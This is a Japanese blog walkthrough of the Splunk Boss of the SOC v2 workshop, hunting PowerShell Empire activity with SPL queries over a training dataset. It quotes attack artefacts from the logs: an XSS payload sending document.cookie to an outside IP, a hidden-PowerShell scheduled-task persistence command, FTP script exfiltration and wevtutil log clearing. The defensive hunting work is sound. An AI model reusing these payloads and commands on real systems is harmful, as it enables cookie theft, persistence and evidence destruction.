Splunk BOSS of the SOC ver 2について(概要とPowerShell Empire)

Boss of the SOC (BOTS) Advanced APT Hunting Companion App for Splunk
Hunting an APT with Splunk Workshop
Welcome to the Hunting an APT with Splunk Workshop based on the Boss of the SOC 2017 data set.

こちらを元に、手順を追ってみる。データセットはここ
なお、ログの時間を合わせるためユーザの時間帯を(GMT -08:00)にする必要がある。

Webから変えられなかったらuser-prefs.confのtzの設定をAmerica/Los_Angelesに変更する必要がある。なお、日本JSTだとAsia/Tokyo

全１３回

1. 概要とPowerShell Empire
2. FTP Exfiltration
3. DNS Exfiltration
4. Adversary Infrastructure
5. Spearphishing Attachment
6. User Execution
7. Account Persistence
8. Scheduled Task
9. Indicator Removal
10. User Agent Strings
11. OSINT Gathering
12. Lateral Movement
13. Data Staging

What Kinds of Events Do We Have?

metadata Command

今回のデータはかなり多い。AttackOnlyのデータですら

SPL

| metadata type=sourcetypes index=botsv2 
| eval firstTime=strftime(firstTime,"%Y-%m-%d %H:%M:%S") 
| eval lastTime=strftime(lastTime,"%Y-%m-%d %H:%M:%S") 
| eval recentTime=strftime(recentTime,"%Y-%m-%d %H:%M:%S") 
| sort - totalCount 
| eventstats count as Total_source min(firstTime) as first ,max(lastTime) as last

で確認すると、103個もある。
期間は

始め	終わり
2017-08-03 03:03:26	2017-08-31 12:17:11

SPL

| tstats count WHERE (index=botsv2) BY sourcetype _time span=1d prestats=t
| timechart count span=1d limit=0  by sourcetype
| untable _time log count
| eval time=strftime(_time,"%Y-%m-%d")
| xyseries log time count
| addtotals
| sort - Total

時間までは必要なく、いつごろなのか確認したい時はこっち。日付でポチポチできるのがいい感じ。

Hunting Hypotheses

使用する一連の仮説を作成しました。 当然、これらの仮説が実を結ぶことはわかっていますが、すべてがあなたの狩りに役立つわけではありません。 しかし、絶望しないでください。これらがあなた自身の狩りのアイデアを生み出す助けになることを願っています！ 可能な場合、私たちの仮説はMITER ATT＆CKフレームワーク内の手法に基づいていますが、キルチェーンの初期段階のいくつかでは、独自の仮説を作成しました。

各章の構成は

PowerShell  パワーシェル
Exfiltration Over FTP  FTPを介した流出
Exfiltration Over DNS  DNSを介した流出
Adversary Infrastructure  敵対的インフラ
Spearphishing Attachment  スピアフィッシング添付ファイル
User Execution  ユーザー実行
Account Persistence  アカウントの永続性
Scheduled Task  スケジュールされたタスク
Indicator Removal on Host  ホスト上のインジケーターの削除
User Agent Strings  ユーザーエージェント文字列
OOSINT Gathering  OSINT Gathering(公開情報収集)
Lateral Movement  横移動
Data Staging  データのステージング

PowerShell Empire

PowerShell Empire - Hypothesis

攻撃者はPowerShellを使用して、情報の発見やコードの実行など、さまざまなアクションを実行できます。 PowerShellは、インターネットから実行可能ファイルをダウンロードして実行するためにも使用できます。実行可能ファイルは、ディスクに触れることなく、ディスクまたはメモリ内で実行できます。

仮説をどのように確認または反論できるでしょうか？

• PowerShellとは何ですか？
• PowerShell Empireの詳細情報はどこで入手できますか？
• PowerShell Empireには、ハントできるデフォルト設定がありますか？
• 送信元と宛先の間のデータフローはどのように見えますか？
• どのユーザーアカウントが使用されていますか？
• どのポートが使用されていますか？
• イベントはいつ発生しましたか？
• PowerShellが実行しているスクリプトの内容を見て理解を深めることはできますか？

PowerShell Empire - Research

GitHubのディレクトリ構造とファイルを見ると、cert.shファイルにSSL証明書のデフォルト構成が表示されていることがわかります。 作成されたデフォルトキーは、証明書のサブジェクトとしてC = USを使用していることがわかります。 これは、froth.ly内でPowerShell Empireのハンティングを開始するために使用できる素晴らしいナゲットです。

cert.sh

openssl req -new -x509 -keyout ../data/empire-priv.key -out ../data/empire-chain.pem -days 365 -nodes -subj "/C=US" >/dev/null 2>&1 

echo -e "\n [*] Certificate written to ../data/empire-chain.pem" 
echo -e "\r [*] Private key written to ../data/empire-priv.key\n" 

froth.lyがなんなのかはわからなかった。DNSも引けない。

PowerShell Empire - SSL Search Options

Using Enterprise Security 5.0 to Search for the Indicator

SPL

ssl_issuer_country=* index=botsv2 sourcetype=stream:tcp
| stats earliest(_time) as _time values(ssl_subject) as ssl_subject values(ssl_issuer) as ssl_issuer
, values(ssl_serial) as ssl_serial values(ssl_hash) as ssl_hash count by src, dest
| table _time src dest ssl* count

ESがはいっていたら、ダッシュボードがあるのだろうけど、ないので検索クエリーを作る。
あとは必要に応じてsearchやwhereで絞っていく

Accelerate Your Search!

ESが入っていたらtstatsが使えて爆速だと思うけど、入っていないので地道に検索する。

SPL

ssl_issuer="C = US" index=botsv2 sourcetype=stream:tcp
| stats count earliest(_time) as firstTime latest(_time) as lastTime by src_ip, dest_ip
| eval firstTime=strftime(firstTime,"%c") 
| eval lastTime=strftime(lastTime, "%c") 
| sort - count

dest=45.77.65.211あての通信が多い。結果は次の通り。
本来であれば、ssl_issuerにはO=(組織)とかがあるはず。

src	dest	_time	ssl_subject	ssl_issuer	ssl_serial	ssl_hash	count
10.0.2.107	45.77.65.211	2017/08/24 12:28:47.345	C = US	C = US	10285871634388831649	671DFE1D4F15C5A05F21DDB66D3B7815	8449
10.0.2.109	45.77.65.211	2017/08/24 12:55:13.209	C = US	C = US	10285871634388831649	671DFE1D4F15C5A05F21DDB66D3B7815	5554
10.0.1.100	45.77.65.211	2017/08/24 12:55:25.268	C = US	C = US	10285871634388831649	671DFE1D4F15C5A05F21DDB66D3B7815	102
10.0.1.101	45.77.65.211	2017/08/24 12:54:52.169	C = US	C = US	10285871634388831649	671DFE1D4F15C5A05F21DDB66D3B7815	84

PowerShell Empire - Contextualizing Assets & Identities資産とアイデンティティのコンテキスト化

Enterprise SecurityのAsset CenterまたはSplunk Enterpriseのルックアップを使用して、デバイス所有者、システムのタイプ、その他の重要なメタデータでアセットをコンテキスト化できます。 これらの文脈上の手がかりは、このハントだけでなく将来のハントにも影響を及ぼし、仮説を立て続けます。 同様に、エンタープライズセキュリティのIdentity Centerは、資産と同様にユーザーとアカウントをコンテキスト化できます。

コンテキスト：文章などの前後の脈絡。文脈

以前の3回の検索のそれぞれで、froth.lyの4つの内部システムでC = USのSSLサブジェクト/発行者の値が見られ、8月に最後に見られたのは8月26日であったことがわかりました。 3回目の検索で最も早い/最新の時間であるため、このアクティビティは8/26に発生しただけでなく、8/23に開始されたことがわかります。

4つのシステムはすべてWindowsデバイスであることがわかります。Windows上でPowerShellが実行されると予想されるため、驚くことではありません。 ただし、PowerShellはLinuxおよびMacOSでも実行できるため、想定することはできません。 ITとR＆Dの2つのシステムがサーバーであり、1つのサーバーと1つのワークステーションが同じ人物であるKevin Lagerfieldによって所有されていることがわかります。

所有者のIDを確認すると、FyodorとKevinの両方が重要な従業員であることがわかります。管理者のKevinとFyodorがR＆Dボックスを所有しているため、これは驚くことではありません。 ビリーに関する情報はあまりありませんが、彼は工場のユーザーのようです。 それでも、これは組織全体を探しているときにユーザーをコンテキスト化するのに役立つ情報です。 検索できるその他の情報には、オフィスの場所、雇用の開始日と終了日、同じIDに関連付けられたアカウント名、およびユーザーに関するその他のメタデータが含まれます。

Asset CenterもIdentity Centerもひらけないので次

PowerShell Empire - Data

4つのシステムすべてに共通の宛先があることに気づいたかもしれません。 このインディケーター45.77.65.211を取得し、それに対してstatsコマンドを実行すると、どのソースタイプがこの値を見たのかがわかります。 これにより、どのイベントを掘り下げる必要があるかを把握できるようになります。また、保有しているテレメトリやおそらくインジケーターが企業にどの程度浸透しているかについてより良いアイデアを得ることができます。

最大のソースタイプは、すべてネットワーク中心のソースタイプです。 pan：traffic（Palo Alto）、suricata、stream：tcp / ip / http（Wire Data）。 その後、Webログ（access_combined）およびMicrosoft Sysmonの表示を開始します。 これらのソースタイプは、このインジケータがシステムレベルで表示されていることを示しているため、このインジケータがネットワークレベルでブロックされていないか、ホストレベルで直接生成されていることを示します。

Palo Altoファイアウォールデータを見ると、ワークステーション10.0.2.107（以前見たコンテキスト情報に基づいたBillyのワークステーション）がインディケーターのトップトーカーであり、Kevinのワークステーション、サーバーMercury、 サーバーVenus。 すべてのトラフィックはfroth.lyネットワークで開始され、ファイアウォールに従って送信されました。

Suricataのログを見ると、アウトバウンドデータ側にも同様のパターンが現れています。 45.77.65.211から着信する少量のデータがいくつかあります。それらを簡単に見てみましょう。

Suricataのインバウンドログは、主にいくつかの署名が振りかけられたフローです。ここに2つの署名を示しますが、どちらも仮説を検証するための追加コンテキストを提供しません。

PowerShell Empire - Stream

Identifying Communication Flows with IP Indicator in stream:http

stream：tcp sourcetypeで最初のインジケーターを見たので、stream：httpなどの他のストリームsourcetypesに焦点を当てましょう。 このインジケーターには、宛先が172.31.4.249の膨大な量のイベントが生成されていることがわかります。 資産をコンテキスト化したため、これはKevinが所有し、ITに常駐し、linux、mysqlを実行し、AWSにあるWebサーバーであることがわかります。

インジケーターがソースまたは宛先として参照されていない3つのイベントがありますが、キー値なしで45.77.65.211を検索したため、それらのイベントのどこかにある可能性があります。 最後に、Kevinのワークステーションからインジケーターへのアウトバウンドアクティビティを含む1つのイベントが表示されます。 これら3つの結果セットすべてにドリルしてみましょう。

Result Set One

ソースアドレスがインジケータであり、宛先がWebサーバーであるイベントにドリルダウンすると、フィールドの調査を開始し、http_user_agentが98％の時間で同じであることがわかります。

そのユーザーエージェントをもう少し調べてみましょう。 この特定のユーザーエージェントのほとんどは、ミルの最後にホスト名w3af.orgがありますが、かなり実行されているようです。 Googleで簡単に検索して、それが何であるかを確認できるかどうかを確認しましょう。

w3af.orgを検索すると、これがオープンソースのWebアプリケーションセキュリティスキャナーであることがわかります。 おもしろいです。IPインジケータは、一部のサーバーの宛先であることに加えて、当社のWebサーバーもスキャンしているようです。 ただし、Webサーバーはそのアウトバウンド通信の一部とは見なされなかったため、おそらくIPが何らかの偵察を行うために使用されたが、その後コールバックまたは抽出ポイントの一部としても使用されました。 繰り返しますが、これについて少し仮説を立てています。

率直に言って、これは良い情報ですが、PSEについての仮説にはまだ近づいていません。

Result Set Two

ソースアドレス71.39.18.125で検索すると、インジケーターを参照する3つのイベントが返されますが、これらのイベントは、証明書イベントがこのインジケーターを見る8〜11日前の8月15日に発生しました。 Enterprise SecurityでGlass Tableを開く（またはネットワーク図を引く）と、このIPアドレスがファイアウォールの外部インターフェイスであることがわかります。 後戻りしてこれをさらに調べたいと思いますが、おそらくこれをWebログ内で行う別のハントとして分類できます。

http://www.brewertalk.com/member.php?action=activate&uid=-1&code="><script>document.location="http://45.77.65.211:9999/microsoftuserfeedbackservice?metric=" + document.cookie;</script>

なお、検索結果から次のとおりポストしている。

Result Set Three

これは3つのキーペアの最後であり、以前のイベントと同様に、8月15日に発生したようです。 これは前に述べたようにケビンのワークステーションからのアウトバウンドトラフィックですが、ここでは仮説を確認するのに役立つものは何もありません。 Webアプリケーションプラットフォームはひそかに。 ただし、これも仮説を進めるものではありません。

Microsoft Sysmonを使用して、ホスト中心のデータに移行しましょう。

PowerShell Empire - Sysmon

ネットワークテクノロジーの検索は便利ですが、ホストログに検索範囲を広げると、より忠実に検索できます。 Sysmonは、活用する情報の宝庫を提供します。

Identifying Communication Flows with IP Indicator with Microsoft Sysmon

Microsoft Sysmonを検索すると、奇妙な宛先アドレスが返されます。 何らかの理由でデータの形式が正しくないか、ホスト名がIPとドメインを連結したものである可能性があります。 大したことはありません。引き続き作業できます。後続の検索から誤って結果を除外しないように、ワイルドカードを使用する必要があります。

この場合、インディケーターと通信する単一のサーバー、Venus（10.0.1.101）から大量のイベントが発生します。

PowerShell everywhere

イベントをドリルし、destでワイルドカードを使用して、前の検索で見たすべての値を取得するようにすると、返されるすべてのイベントがPowerShellを実行していることがわかります。 これは私たちの仮説を知るのに役立ち、仮説を前進させる可能性があります。 また、これらのイベントの時刻が以前の証明書トラフィックと一致していることもイベントで確認できます。 他の興味深いフィールド値を見てみましょう。

追加のフィールドを見ると、すべての通信が443を超えており、SSL / TLS接続であることを示しています。 もちろん、すべてのトラフィックが金星から発信されていることがわかります。 すべてのイベントには、Network ConnectというEventDescriptionがあります。 Microsoftによると、ネットワーク接続イベントはマシン上のTCP / UDP接続を記録します。 各接続は、ProcessIdおよびProcessGUIDフィールドを介してプロセスにリンクされます。 イベントには、送信元および宛先ホスト名IPアドレス、ポート番号、IPv6ステータスも含まれます。

最後に、これらのイベントを実行しているユーザーは、システムアカウントまたはservice3という名前のドメインアカウントであることがわかります。 サービスアカウントがアウトバウンドと通信している理由は少し奇妙ですが、それでも同じことをするシステムアカウントは少し大ざっぱに見えます。

service3 Connecting Outbound to External IP?

簡単にするために、とりあえずservice3アカウントに注目し、Venusとインジケーター間の通信を見てみましょう。 画面をフォローしている場合、多数のsrc_port値があることがわかります。 上記の検索を実行する場合、各ポートの値の値をリストすることを除いて同じです。 金星から出てくるかなり連続したポート通信があります。 正確ではありませんが、金星から多数のアウトバウンド接続がかなり密接に確立されているようです。

前述のように、攻撃者から見た追加のテクニックを呼び出しています。これらのテクニックは、独自のハントではなく、観察されている他のテクニックです。 すべてのトラフィックが443を使用しているのは、攻撃者が一般的に使用されるポートを通信に使用しているような手法の1つです。

Activity Over Time To Narrow Our Time Frame

これらのNetwork Connectイベントをタイムチャートにオーバーレイしたい場合、同様にそれを行うことができ、これらのイベントはすべて8/23から8/25の間に発生したことがわかります。

PowerShell Empire - PaloAlto

時間枠の絞り込みとドリルイン

Sysmon（ホスト）データから収集した追加情報を使用して、時間範囲を絞り込み、ネットワークデータ（この場合はパロアルト）に戻って、何が表示されているかを確認できます。

Moving Back to Network Traffic

タイムピッカーを8月22〜26日のより短い時間枠に絞り込んでいるので、Sysmonをパロアルトデータと交換して、service3アカウントのネットワークトラフィックがどのように見えるかを見てみましょう。 このタイムチャートに基づいて、10.0.2.107（Billyのワークステーション）は、8月23日にservice3アカウントを使用してインジケーターにデータを送信する唯一のシステムであり、すべて非常に集中した時間枠で発生しました。

この時点で、VenusとBillyの両方のワークステーションがインジケーターとservice3アカウントに関連付けられていますが、他には誰もいません。

What Other User Accounts Then?

検索を少し変更すると、service3アカウントに加えて、Billy、Kevin、および管理者アカウントの両方がPalo Altoイベントのインジケーターと通信していることがわかります。

Network Source and User View

検索をさらに絞り込んで、不明なユーザーアカウントを削除し、ユーザーと送信元アドレスを連結すると、Mercury（10.0.1.100）にはPalo Altoトラフィックがなくなったことがわかりますが、他の送信元とユーザーの組み合わせは引き続き表示されます。 Billyのアカウントとワークステーションはトップトーカーです。

Viewed Another Way

これを別の方法で見ると、srcとユーザーの組み合わせが独自のグラフに分割されていることがわかります。 興味深いことに、データ量は異なりますが、Billyのワークステーションでservice3を見ることができ、KevinのワークステーションでKevinのアカウントはほぼ同時にアクティビティのバーストを見て、その後何もなくなるように見えます。

ここで掘り下げることはたくさんありますが、今のところ、service3をさらに見てみましょう。

Investigating Assets, Identities and Files

SA-Investigator for Enterprise Securityは、Enterprise Securityを拡張する無料アプリです。 アナリストは、1つまたは複数のアセットまたはIDを入力し、Splunk内のネットワークトラフィック、認証、マルウェア、侵入検知、およびその他のデータモデルによって分類されたイベントを確認できます。

Digging Into service3 - Network Traffic

SysmonでVenus、Palo Altoで10.0.2.107（Billyのシステム）のservice3トラフィックを確認したので、service3を検索し、最初は8月23日に焦点を当てます。

[ネットワークトラフィック]タブを見ると、午後8時頃にトラフィックが急増しています。一部のデータはhttpsですが、最初のスパイクは主にtcpとudpでした。アプリと宛先ポートごとのデータを見ると、トラフィックの29％がpowershell.exe、27％がssl、20％がdnsであることがわかります。トラフィックの61％は443を超えており、powershell.exeおよびsslトラフィックのほとんどを占めています。思い出すと、ネットワーク接続PowerShellイベントはすべてSSLでした。

しかし、ちょっと待って、以前の検索を見て、パロアルトのログにビリーのワークステーションだけを見ていませんでしたか？はい、私たちはそうでしたが、データモデルの観点からデータを見ているため、単一のソースタイプビューに固定されておらず、PowerShellネットワークが接続し、Palo Altoが一緒にログを記録することがわかります。ログストリームで参照されます！それを念頭に置いて、アプリケーション状態データモデルでservice3が参照される場所を見てみましょう。

ESがないので、表示されている画面からクエリーを作ってみる

Network traffic by action

タイムレンジ:2017/08/23 20:00:00.000～2017/08/23 22:00:00.000
AreaChartで表示

SPL

index=botsv2 service3 action=allowed
| timechart count by action

Network traffic by protocol

数がなんか合わない。なんでTCP/UDP/httpsで分けてるんだろう？

index=botsv2 service3 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational OR sourcetype=pan:traffic
| timechart count(eval(searchmatch("tcp"))) as tcp  count(eval(searchmatch("udp"))) as udp count(eval(dest_port==443)) as https

Network traffic by APP

SPL

index=botsv2 service3 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational OR sourcetype=pan:traffic
| eval APP=coalesce(app,Image)
| stats count by APP

Network traffic by destination port

SPL

index=botsv2 service3 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational OR sourcetype=pan:traffic
| stats count by dest_port

説明文に書いているpowershellとSSLの関係がわかりづらいので

SPL

index=botsv2 service3 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational OR sourcetype=pan:traffic
| eval APP=coalesce(app,Image)
| eval APP_destPort = APP."_".dest_port
| stats count  by APP_destPort

Investigating Identity - Application State

アプリケーション状態データモデルを使用すると、実行中のアプリケーションを確認できます。8月23日の午後8時30分以降、service3によっていくつかの異なるプロセスが開始されていることがわかります。 右側のタイムチャートを見ると、Venusで開始されていることがわかります。これは、service3がネットワークトラフィックデータモデルとwrk-klagerfに基づいて相互作用するのをすでに見ています。 資産をコンテキスト化したため、これがKevinのワークステーションであり、彼が管理者であることがわかります。

詳細を見ると、KevinのワークステーションとVenusの両方でpowershell.exeが実行され、ftp.exeが表示されていることがわかります。 whoami.exeとschtasks.exeが連続して実行されます。 これらのプロセスの開始に関連するものを見てみましょう。これは興味深いかもしれません。

これまたESがないので、頑張ってみる

Processes Run over Time

タイムレンジは2017/08/23 20:30:00.000～2017/08/23 22:00:00.000

SPL

index=botsv2 service3 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
| timechart count by process_exec

Processes Run by System

タイムレンジは2017/08/23 12:00:00.000～2017/08/24 0:00:00.000

SPL

index=botsv2 service3 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
| timechart count by Computer

Application State Details

SPL

index=botsv2 service3 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
| table _time process_exec process_name user dest dest_port transport

ES欲しい・・・

PowerShell Empire - Venus and Schtasks.exe

興味深いプロセスとサーバーvinus

ftp.exe、whoami.exe、およびschtasks.exeが複数のシステムで特定の順序で実行されているのを見ているため、これらのプロセスの頻度、親プロセスとの関連など、これらのプロセスについて詳しく理解したいと思います。 schtasks.exeから開始し、ホストからのMicrosoft Sysmonデータを使用してそこから先に進みます。

Schtasks.exe

venusおよびschtasks.exeという用語を非常に広範囲に検索すると、8月23日に2つのイベントが返されます。Splunkは最新のイベントを最初に返すため、これらのイベントの2番目を表示しています

ParentCommandLine field

イベントを展開すると、ParentCommandLineとMicrosoft SysmonイベントのCommandLineが表示されます。 ParentCommandLineは、CommandLineの値を実行させる以前に実行されたコマンドを表します。 ParentCommandLineを見ると、エンコードされたコマンドを実行しているpowershell.exeがあることがわかります。 ParentCommandLineフィールドで–encスイッチを探し、MicrosoftのPowerShellのコマンドラインヘルプを参照することで、base64でエンコードされていることがわかります。

これは私たちが見たデータエンコーディングの最初のインスタンスであり、発行されるコマンドを隠すための敵対的な手法です。 データエンコーディングのハントを実行していませんが、敵がデータエンコーディングも使用していることに注意してください。

Base64 in Parent Command Line Decoding

PowerShellエンコードはbase64であるため、任意の数のツールを使用して簡単にデコードできます。 ここでは、CyberChefを使用します。 –encの後にParentCommandLineでエンコードされた文字列をコピーする場合、これを入力パネルに貼り付けて、[ベイク]をクリックします。 右下のパネルに出力が表示されます。

Decoded Output

これを表示して前の出力と比較すると、これはCyber​​Chefが示したものとはまったく似ていないことに気づいたでしょう。 Cyber​​Chefからコンテンツをコピーしてテキストエディターに貼り付けると、余分な句読点が削除されました。 PowerShell ParentCommandLineからデコードされた出力を次に示します。確認すると、その中のすべての混在したケースで読むのが少し難しいことがわかります。これは、何が起こっているのかを把握するのが難しくなるため、敵の観点から意図的なものです。

Webクライアントの値が入力されていることがわかります。このユーザーエージェント文字列は、この通信を識別するために使用できる別のインジケータです。出力の終わりに向かって、ポート443に接続するWebアドレスの一部としてIPインジケーターを見ることができます。また、おそらく呼び出されているファイルとして/admin/get.phpを見ることができます。このParentCommandLineをデコードすることで、調査するのに役立つかもしれないいくつかの指標をさらに取得しました。さらに重要なことに、これらの調査結果は、ここでPSEが使用されたという仮説を証明または反証するのに役立つ可能性があります。

CyberChefでできます
To Lower Caseをオン/オフすることで、コードの理解が進みやすいと思う。
星が欲しい
最後のIEXについてはここの記事が参考になった

PowerShell Empire - Venus, FTP & Whoami

興味深いプロセス：ftp.exe＆whoami.exe

ftp.exe、whoami.exe、およびschtasks.exeが複数のシステムで特定の順序で実行されているのを見ているため、これらのプロセスの頻度、親プロセスとの関連など、これらのプロセスについて詳しく理解したいと思います。 schtasks.exeの理解が深まると、ftp.exeとwhoami.exeを確認し、ホストからのMicrosoft Sysmonデータを使用してそこから先に進むことができます。

ftp.exe

schtasks.exeと同様に、同様の検索を実行しますが、Sysmonとftp.exeに焦点を当てます。

Sysmon Event for ftp.exe on Venus

今回のイベントを展開すると、ParentCommandLineに-encスイッチが表示されるため、この文字列もデコードする必要があることがわかります。 しかし、それを行う前に、コマンドラインを見て、そこで実行されているものを把握できるかどうかを確認しましょう。

Explanation of FTP Switches

イベントからわかるように、ftp.exeには-iオプションと-sオプションを指定して呼び出しています。

-iは、複数のファイル転送中、および設定するのが妥当と思われる表面上で、対話式プロンプトをオフにします。

-sは、ファイル、特にftpコマンドを含むテキストファイルで使用されます。 基本的に、ftpの起動時に実行されるスクリプトとして使用されます。 奇妙なことは、呼び出されるファイルの名前がwinsys32.dllであることです。 テキストファイルはdllではないため、これは別の不審な情報であり、さらに追跡する必要があります。 また、すべてのシステムで一般的にftpをより詳しく調べる必要がある場合もあります。 少なくとも、PowerShellに関連付けられていると特定したホストから確認できます。 これは、その後の狩りのように見えます。

Same or Different Than Before - Decoded Output

CyberChef

ftpイベントからParentCommandLineを取得し、schtasks.exeで行ったようにデコードすると、次の出力が表示されます。 これは、schtasks.exeで見たものと同じ出力であることに注意してください。 これは、同じ親がこれらのコマンドの両方を生成したことを示しています。

Venus and whoami

徹底的に行うには、venusとwhoami.exeも確認する必要があります。 繰り返しになりますが、8月23日にVenusでこれらの値を持つSysmonイベントが1つあります。

Whoamiは、コマンドの実行者に、ログインしているアカウントの名前、グループの名前、および特権を通知するWindowsプログラムです。 対話的にログインしている場合はあまり使用されませんが、システムにリモートで接続し、コマンドを実行する前にシステムに権限があるかどうかを確認している場合は、ログインしているユーザーを確認します 適切なように。 ftpの後、schtasksの前に順番に表示されるという事実は疑わしいようです。

MITER ATT＆CKによって定義されているこの手法は、攻撃者がコマンドを実行する前に現在ログインしているユーザーを識別して、実行を正常に行うための適切な特権があることを確認することです。

More of the Same - Decoded Output

リンクは同じなので省略

このエンコードされた出力を確認すると、これらの3つのコマンドはすべて同じであるように見えるため、同じ属性を持つ同じPowerShellコマンドによってすべて生成されていると思われます。 Venusがこれらの3つのプロセスを実行しているのを見ましたが、これらの同じプロセスを実行している他のシステムはありますか？ SA-Investigatorアプリでwrk-klagerfも同じであることがわかりましたが、それ以上ですか？

PowerShell Empire - Where Else Can We See These Values

実行可能ファイルの追加インスタンスを探す

これらの実行可能ファイルがvenusで実行されているのを見てきましたが、他のどこで見られますか？ 他の場所にグループ化されていますか？

Where Else Can We See These Values?

これら3つの実行可能ファイルを検索すると、2つのサーバー、mercuryとvenusに加えて、これらのプロセスがログに含まれている多くのワークステーションが表示されます。 コマンドを個別に見て、実行された場所を確認しましょう。

一括して表示してみる

SPL

index=botsv2 (whoami.exe OR ftp.exe OR schtasks.exe)
| eventstats count as total by process_exec
| chart usenull=f count values(total) as total over host by process_exec
| foreach count:* total:*
    [eval perc_<<MATCHSTR>>=round('count:<<MATCHSTR>>' / 'total:<<MATCHSTR>>' * 100,2)]
| fields - total*

結果は

host	count: ftp.exe	count: schtasks.exe	count: whoami.exe	perc_ ftp.exe	perc_ schtasks.exe	perc_ whoami.exe
venus	1	3	1	6.67	4.48	11.11
wrk-abungst	0	2	0		2.99
wrk-aturing	0	44	0		65.67
wrk-bgist	0	2	0		2.99
wrk-btun	10	6	6	66.67	8.96	66.67
wrk-fmaltes	0	2	0		2.99
wrk-ghoppy	0	2	0		2.99
wrk-klagerf	4	6	2	26.67	8.96	22.22

Whoami.exe

whoami.exeを探すと、2台のワークステーション、BillyとKevin、2台のサーバーで確認できます。

ftp.exe

興味深いことに、ftp.exeはこれらの同じホストでのみ見られます。

Schtasks.exe

Schtasks.exeはより広範なシステムのセットを返しますが、これはスケジュールされたタスクが標準のWindowsツールであり、環境全体に展開される可能性が高いためです。 奇妙なことに、この時間枠の間にmercuryにはschtasks.exeが実行されていません。

3つのプロセスのうち2つが特定のシステムで見られるという事実から、何らかの形で侵害された4つのシステムがあると結論付けることができます。 思い出すと、SSL証明書はC = USを使用し、これらの同じ4つのシステムと通信しました（Asset Centerからこれらのホスト名とIPアドレスを知っていることを思い出してください）。したがって、これら4つのシステムが最も懸念される可能性が高いです。

エンコードされたPowerShellを使用して、もう1つのことを行いましょう。

PowerShell Empire - Base64 ParentCommandLine

Microsoft SysmonでのParentCommandLineの分析

ParentCommandLineを使用すると、同じプロセスから生成されたコマンドを確認できます。 親プロセスと子プロセスの関係を洞察することは、関係を追跡するために重要です。

Where Was It Seen and When?

ParentCommandLineの値を取得し、それが生成した他のコマンドを確認できます。 8月23日以降も検索範囲を広げて、8月22日から26日までのイベントを探しましょう。ParentCommandLineの先頭にワイルドカードを使用し、フィールドのエンコードされた部分の末尾にある等号のエスケープ文字として\を使用する必要があります。

この検索を2回実行します。最初にstatsコマンドを使用してホストごとにカウントを取得し、次にtableコマンドを使用して出力をテーブル化し、最も古いものが最初にリストされるように逆にします。

Which Systems Share the Same ParentCommandLine?

statsコマンドを使用した検索では、8月22日から26日まで、VenusとKevinのワークステーションのParentCommandLineが同じであることがわかりました。

What Processes Are Those Systems Running from the ParentCommandLine?

結果を確認すると、service3アカウントで実行されているKevinのワークステーションとVenusからコマンドが発行されていることがわかります。 ftp、whoami、およびschtasksのコマンドも確認できますが、これらのコマンドは間違いなく追加のハンティングに値します。

結果をスクロールし続けると、wevutil.exeを呼び出すKevinのワークステーションに非常によく似たパターンが表示されます。

wevtutil.exeに慣れていない場合、Windowsでイベントログを操作する方法を提供します。これらのイベントの膨大な量と、ある種の列挙と思われるものを組み合わせるには、追加の調査が必要です。ログ操作のためのハンティングは確かに価値のある努力ですので、追加のハントとしてフラグを立てましょう。

wevtutil.exeの後、mercuryのイベントの最終セットに行きます。 Cscript.exe。コマンドラインでスクリプトを実行します。そのスクリプトはdownload_py.vbsと呼ばれます。 Msiexec.exeはpythonをインストールするように見え、次にpythonが実行されてdns.pyを呼び出します。

まとめると、8月25日にKevinのワークステーションでWindowsイベントが何らかの方法で列挙されるという非常に明確なビューがあります。8月23日にVenusとKevinのワークステーションで同じコマンドセットが実行されました。最後に、8月25日にpythonを含むVenusでいくつかの追加アクティビティが見られます。

これらのコマンドはすべて同じParentCommandLine値を持っています。

Microsoft Docsによるとwevtutil clはイベントの消去。
行数が多いので最初と最後の結果は次の通り。途中はイベントの消去が続く。

_time	host	user	CommandLine
2017/08/23 21:00:30	wrk-klagerf	FROTHLY\service3	C:\Windows\system32\ftp.exe -i -s:winsys32.dll
2017/08/23 21:01:33	wrk-klagerf	FROTHLY\service3	C:\Windows\system32\whoami.exe /user
2017/08/23 21:04:26	wrk-klagerf	FROTHLY\service3	C:\Windows\system32\schtasks.exe /Create /F /RU system /SC DAILY /ST 10:39 /TN Updater /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKLM:\Software\Microsoft\Network debug).debug)))\""
2017/08/23 21:07:27	venus	FROTHLY\service3	C:\Windows\system32\ftp.exe -i -s:winsys32.dll
2017/08/23 21:08:41	venus	FROTHLY\service3	C:\Windows\system32\whoami.exe /user
2017/08/23 21:12:36	venus	FROTHLY\service3	C:\Windows\system32\schtasks.exe /Create /F /RU system /SC DAILY /ST 10:51 /TN Updater /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKLM:\Software\Microsoft\Network debug).debug)))\""
2017/08/25 22:30:18	wrk-klagerf	FROTHLY\service3	C:\Windows\system32\wevtutil.exe cl Microsoft-Windows-Kernel-Processor-Power/Diagnostic
2017/08/25 22:30:18	wrk-klagerf	FROTHLY\service3	"C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kernel-Process/Analytic
2017/08/25 22:28:57	wrk-klagerf	FROTHLY\service3	"C:\Windows\system32\ftp.exe" -i -s:winsys64.dll
2017/08/25 23:50:36	venus	FROTHLY\service3	"C:\Windows\system32\msiexec.exe" /i c:\temp\download\python.msi /qn /norestart
2017/08/25 23:50:54	venus	FROTHLY\service3	"C:\python27\python.exe" dns.py
2017/08/25 22:59:39	venus	FROTHLY\service3	"C:\Windows\system32\cscript.exe" download_py.vbs

PowerShell Empire - Base64 ParentCommandLine - Billy's Workstation

この分析ラインを継続するが、ビリーとMercuryに拡大する

しかし、MercuryとBillyのワークステーションはどうでしょうか？ これらのシステムで実行されているエンコードされたPowerShellを見つけることができるかどうかを見てみましょう。

Looking for Other Encoded PowerShell Systems

